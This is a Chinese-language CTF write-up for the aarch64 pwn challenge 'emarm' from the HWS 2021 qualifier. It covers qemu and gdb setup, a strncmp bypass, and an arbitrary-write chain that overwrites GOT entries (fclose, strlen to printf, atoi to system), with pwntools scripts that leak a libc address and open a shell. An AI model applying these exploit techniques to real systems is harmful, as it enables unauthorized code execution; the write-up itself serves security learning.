参考链接:
准备工作
可以用 qemu 搭建调试环境:
text1 2
| sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn
|
然后使用 gdb 连接:
text1 2 3 4 5
| gdb-multiarch pwndbg> set architecture aarch64 pwndbg> target remote :1234 pwndbg> b *0x400BD0 pwndbg> c
|
题目分析
题目来源是 HWS计划2021硬件安全冬令营线上选拔赛 的题目 emarm。
text1 2 3 4 5 6
| [*] '/home/ubuntu/Desktop/emarm/emarm' Arch: aarch64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
简单分析一下,可以发现有一个任意地址写,可以写入 8 字节:
查了一些资料,arm 架构下 got 表功能是一样的,所以可以直接把 got 表中 atoi 那一项改成 system 地址。现在问题就是如何泄漏 libc。
本题没有给出任意地址读,但是看到别人的题解里写的是,如果用 qemu 启动题目,地址不会修改。所以 ASLR 等于没有。对于这一点不知道其他题目是不是也是这样。
利用构造
首先构造 '\x00'*7
输入截断,然后在 strncmp 对比完成后(400BD0)下断点,看是否成功绕过。这里提一下:aarch64 返回值保存在 x0 寄存器中。参考链接:AArch64 学习(二) 函数调用 (Function Call Convention)
strncmp 返回值是 0,成功绕过。
然后任意地址写。可以 atoi got 表地址修改为 printf 函数地址,然后通过 %8$p
等方式 leak。然而可控的字符串位置太远。4 字节不够用了。
这里有一个 trick ,可以把 fclose 的地址修改为 0x400be4,也就是 if 内部执行的第一条语句的地址。这样就会回到任意地址写再次写入了。这一次我们可以将 strlen 修改为 printf 函数,这样就可以控制 8 字节泄漏地址了。
这个 %17$s
对应的是 read 读入 4 字节的 buf2。我们把它写成 puts 函数的地址,这样就能打印出来 puts 在 libc 的地址。(脚本是 python2,历史遗留问题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
context.log_level = "debug"
p = process(["qemu-aarch64", "-g","1234","-L", "/usr/aarch64-linux-gnu", "./emarm"])
elf = ELF("./emarm")
p.recvuntil("hi")
payload = "\x00" + "123456" p.sendline(payload)
p.send(str(elf.got["fread"]).ljust(8, '\x00')) p.recvuntil("you will success") p.send(p64(0x400BE4)) p.recvuntil("bye") p.sendline("004")
p.send(str(elf.got["strlen"]).ljust(8, '\x00')) p.recvuntil("you will success") p.send(p64(elf.plt["printf"])) p.recvuntil("bye") p.send(p64(elf.got["puts"])[:4]) p.recv() p.send("%17$sED") puts_addr = u64(p.recvuntil("ED",drop=True).ljust(8, '\x00')) print(hex(puts_addr)) p.interactive()
|
但是打出来的 puts_addr 是 3 字节的:0x8acc60。用 vmmap 查看,发现加载的模块都是类似 0x4000****** 这样的:
所以我就手动补齐成 0x40008acc60,然后计算 system 偏移即可。我用的是我自己系统的 libc 和偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import *
context.log_level = "debug"
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./emarm"])
elf = ELF("./emarm")
p.recvuntil("hi")
payload = "\x00" + "123456" p.sendline(payload)
system_addr = 0x40008acc60-0x23448 p.send(str(elf.got["atoi"]).ljust(8, '\x00')) p.recvuntil("you will success") p.send(p64(system_addr)) p.recvuntil("bye") p.sendline("sh")
p.interactive()
|
成功 getshell。